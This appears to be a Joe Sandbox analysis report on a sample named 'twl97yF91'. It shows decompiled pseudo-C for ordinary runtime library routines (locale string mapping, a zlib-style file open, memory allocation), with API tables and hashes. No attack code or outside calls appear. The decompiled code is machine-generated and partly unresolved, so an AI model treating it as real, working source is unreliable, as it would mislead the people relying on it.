				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0xa61828c8
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,02E318B0), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 02CC72E8 Relevance: 22.8, APIs: 15, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 02CC731A
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00423620), ref: 02CC732C
_malloc.LIBCMT ref: 02CC73F1
_malloc.LIBCMT ref: 02CC74B3
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 02CC74DE
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 02CC7501
__freea.LIBCMT ref: 02CC750B
__freea.LIBCMT ref: 02CC7514
___ansicp.LIBCMT ref: 02CC7545
___convertcp.LIBCMT ref: 02CC7570
_malloc.LIBCMT ref: 02CC75C9
_memset.LIBCMT ref: 02CC75EB
___convertcp.LIBCMT ref: 02CC7621
__freea.LIBCMT ref: 02CC7636
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 02CC7650

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: String__freea_malloc$___convertcp$ByteCharErrorLastMultiWide___ansicp_memset
String ID:
API String ID: 2918745354-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: 8b851e86a452177bd0091ad0d8ad5e5c3d0743f37d277b0fff0e4f8079d5e671
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: B9B19F72900119EFDF119FA4CC808AEBFBAEF88358F25846DF919A6120D735CA59DF50

Uniqueness

Uniqueness Score: -1.00%

Function 02CC083C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00421320,0000000C,02CC0977,00000000,00000000,?,00000001,02CBC22D,02CBB993), ref: 02CC084E
__crt_waiting_on_module_handle.LIBCMT ref: 02CC0859

Part of subcall function 02CBE9D1: Sleep.KERNEL32(000003E8,00000000,?,02CC079F,KERNEL32.DLL,?,02CC07EB,?,00000001,02CBC22D,02CBB993), ref: 02CBE9DD
Part of subcall function 02CBE9D1: GetModuleHandleW.KERNEL32(00000001,?,02CC079F,KERNEL32.DLL,?,02CC07EB,?,00000001,02CBC22D,02CBB993), ref: 02CBE9E6

__lock.LIBCMT ref: 02CC08B4
InterlockedIncrement.KERNEL32(?), ref: 02CC08C1
__lock.LIBCMT ref: 02CC08D5
___addlocaleref.LIBCMT ref: 02CC08F3

Strings

KERNEL32.DLL, xrefs: 02CC0848, 02CC084D, 02CC0858
@.B, xrefs: 02CC08E8

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: HandleModule__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: @.B$KERNEL32.DLL
API String ID: 4021795732-2520587274
Opcode ID: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction ID: 2f2af7f27fae14e56878f92a3f552f8457747c5ebdbbf68ecbbc8c165efe1185
Opcode Fuzzy Hash: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction Fuzzy Hash: FA11B471944701EED721EF75D8007CABBF1AF48310F60852ED4A9D32A1CB749641DF98

Uniqueness

Uniqueness Score: -1.00%

Function 02CB5A17 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02CB5A45

Part of subcall function 02CBBAB4: __FF_MSGBANNER.LIBCMT ref: 02CBBAD7
Part of subcall function 02CBBAB4: __NMSG_WRITE.LIBCMT ref: 02CBBADE

_malloc.LIBCMT ref: 02CB5AA9
_malloc.LIBCMT ref: 02CB5B6D
_malloc.LIBCMT ref: 02CB5B97

Strings

1.2.3, xrefs: 02CB5B53, 02CB5B9E

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: _malloc
String ID: 1.2.3
API String ID: 1579825452-2310465506
Opcode ID: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction ID: 711d9c3fd210e8a7da095d864a85cc320a0820f868d0f19300f1f0f599cd123e
Opcode Fuzzy Hash: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction Fuzzy Hash: 236101B19887808FC7329F6988806ABFBE1FF85354F944D2ED1DA83600D775A54ACF52

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

